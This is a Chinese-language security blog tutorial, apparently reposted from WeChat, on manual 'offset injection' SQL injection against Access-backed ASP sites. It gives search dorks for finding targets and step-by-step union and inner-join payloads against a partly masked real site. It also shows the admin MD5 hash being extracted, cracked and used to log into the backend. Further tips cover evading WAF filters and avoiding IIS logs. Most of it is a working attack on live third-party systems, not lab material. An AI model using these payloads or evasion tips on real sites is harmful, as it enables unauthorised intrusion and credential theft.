Access数据库偏移注入

  • A+
所属分类:安全文章

1.1Access手工偏移注入

在有些Access站点中,由于服务器使用了waf,通过sqlmap进行检测会对封IP,因此无法通过自动工具来获取数据库内容,这时候就需要利用access偏移注入来获取字段值。也即*所表示的字段的顺序被打乱,通过使用inner join查询,从而有可能爆出用户和密码的字段数据。

1.1.1获取目标地址

通过百度、google、fofa.so以及zoomeye等搜索“newslist.asp?id=”关键字,获取带参数的url地址,也即注入目标,例如http://www.f***.com/newslist.asp?id=688。

1.1.2判断url是否存在注入

在url后加and 1=1  返回正常显示

在url后加and 1=2  返回非正常显示(报错),说明可能存在sql注入

http://www.f***.com/newslist.asp?id=688 and 1=1 访问页面正常,如图1所示。

http://www.f***.com/newslist.asp?id=688and 1=1访问页面非正常,如图2所示。

       

Access数据库偏移注入

                   

图1显示新闻正常内容

Access数据库偏移注入

图2显示新闻内容为空

1.1.3猜字段数

通过url加order by num来判断字段数大小,但num页面显示正确,而num+1显示为错误,则说明存在字段数为num,例如:

http://www.xxx.com/show.asp?id=12 order by 20 页面返回正确

http://www.xxx.com/show.asp?id=12 order by 21 页面返回错误

说明表字段数为20。在本例中, orderby 18返回正常,如图3所示,order by 19返回错误,说明字段长度为18。

Access数据库偏移注入

图3通过order by来确定字段数

1.1.4猜表名

http://www.f***.com/newslist.asp?id=688 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin

返回正确,说明存在admin表,返回错误则表示不存在该表,经过实际测试,该网站存在sys_admin表,但相应显示字段显示为数字,无法获取表字段内容,如图4所示。

Access数据库偏移注入

图4查询sys_admin

1.1.5sys_admin表下的字段数

  根据order by 猜测出来的字段数来构建字段数进行猜测,例如20网页显示正确,则可以构建:

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin(页面报错)

http://www.xxx.com/show.asp?id=123 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin(页面报错)

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,*from admin(页面报错)

http://www.xxx.com/show.asp?id=123 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin(页面正确)

此时就发现了admin表下有四个字段(20-16=4)。

  在本例中order by 18页面显示正确,因此构造语句为:

http://www.f***.com/newslist.asp?id=688 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin

http://www.f***.com/newslist.asp?id=688 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin  (返回报错)

http://www.f***.com/newslist.asp?id=688 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,* from sys_admin  (返回报错)

http://www.f***.com/newslist.asp?id=688 union select1,2,3,4,5,6,7,8,9,10,11,12,13,* from sys_admin  (返回报错)

http://www.f***.com/newslist.asp?id=688 union select1,2,3,4,5,6,7,8,9,10,11,12,* from sys_admin  (返回报错)

http://www.f***.com/newslist.asp?id=688 union select1,2,3,4,5,6,7,8,9,10,11,* from sys_admin  (返回正确)

sys_admin表有18-11=7个字段。

6.inner join 连接查询

inner join查询是将一张表虚拟成多张相同的表来进行查询,首先用两张表来进行查询,应该减去重复的部分也就是这四个字段,不能让这四个字段算两次,这样的话20-4-4=12,语句中只需要罗列出12个数字。

http://www.xxx.com/show.asp?id=123 union select1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on a.id =b.id)

http://www.xxx.com/show.asp?id=123 union select1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join admin as bon a.id = b.id)

上面的这两种情况还是报错,那么我们继续再来添加一张表,再减去重复的四个字段,20-4-4-4=8,语句中只需要罗列出8个数字。

再次使用inner join查询:

http://www.xxx.com/show.asp?id=123 union select1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as b ona.id=b.id) inner join admin as c on a.id=c.id)

页面返回正确,即可获取md5密码。

因此本例中构建18-4-4=10,需要从10开始构建语句:

(1)http://www.f***.com/newslist.asp?id=688and 1=2 union select 1,2,3,4,5,6,7,8,9,a.id,b.id,* from (sys_admin as a innerjoin sys_admin as b on a.id=b.id) 返回报错,如图5所示。

(2)http://www.f***.com/newslist.asp?id=688and 1=2 union select 1,2,3,4,5,6,7,8,a.id,b.id,* from (sys_admin as a innerjoin sys_admin as b on a.id=b.id) 返回报错

(3)http://www.f***.com/newslist.asp?id=688and 1=2 union select 1,2,3,4,5,6,7,a.id,b.id,* from (sys_admin as a inner joinsys_admin as b on a.id=b.id) 返回报错

(4)http://www.f***.com/newslist.asp?id=688and 1=2 union select 1,2,3,4,5,6,a.id,b.id,* from (sys_admin as a inner joinsys_admin as b on a.id=b.id) 返回报错

(5)http://www.f***.com/newslist.asp?id=688and 1=2 union select 1,2,3,4,5,a.id,b.id,* from (sys_admin as a inner joinsys_admin as b on a.id=b.id) 返回报错

(6)http://www.f***.com/newslist.asp?id=688 and 1=2 unionselect 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b ona.id=b.id) 返回正确,如图6所示成功获取admin元加密的密码字符串。

Access数据库偏移注入

图5通过网页出错递减法来判断

Access数据库偏移注入

图6成功获取密码

1.1.7解密加密的md5

  将查询获取的md5值去cmd5.com网站进行查询,如图7所示,成功破解md5密码。

Access数据库偏移注入

图7查询md5加密值

1.1.8登录管理后台

一般网站的登录用户名都是admin,填写用户名和密码成功登录,如图8所示。

Access数据库偏移注入

图8成功登录后台

1.1.9经验总结

(1)网站安全防护会过滤select、update、delete这些关键字,有些没有区分大小写,因此可以构建过滤字中大小写来绕过,例如用selecT尝试。

(2)在猜不到字段名时,可以查看网站上的登录页面的源代码中登录表单,一般来讲其字段名都与表单的输入框取相同的名字。

(3)url编码。地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号。

(4)用get方法注入时,IIS会记录你所有的提交字符串,对post方法做则不记录,所以能用post的网址尽量不用get。

(5)猜解access时只能用ascii逐字解码法

(6)在发现SQL注入时可以使用多个注入工具进行交叉扫描和尝试猜测。


本文始发于微信公众号(小兵搞安全):Access数据库偏移注入

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: